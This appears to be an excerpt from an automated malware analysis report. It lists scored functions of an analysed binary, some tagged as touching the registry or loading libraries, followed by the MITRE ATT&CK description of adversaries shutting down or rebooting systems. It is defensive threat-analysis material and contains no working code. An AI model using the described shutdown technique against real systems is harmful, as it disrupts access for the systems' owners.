Function 00406A31 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 35
COMMON

Function 00403148 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 162
COMMON

Function 0040141E Relevance: 7.6, APIs: 5, Instructions: 82
registryCOMMON

Function 0040225D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81
libraryCOMMON

Function 00402656 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
registrystringCOMMON

Function 004068C1 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18
libraryloaderCOMMON

Function 00406952 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47
registryCOMMON

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre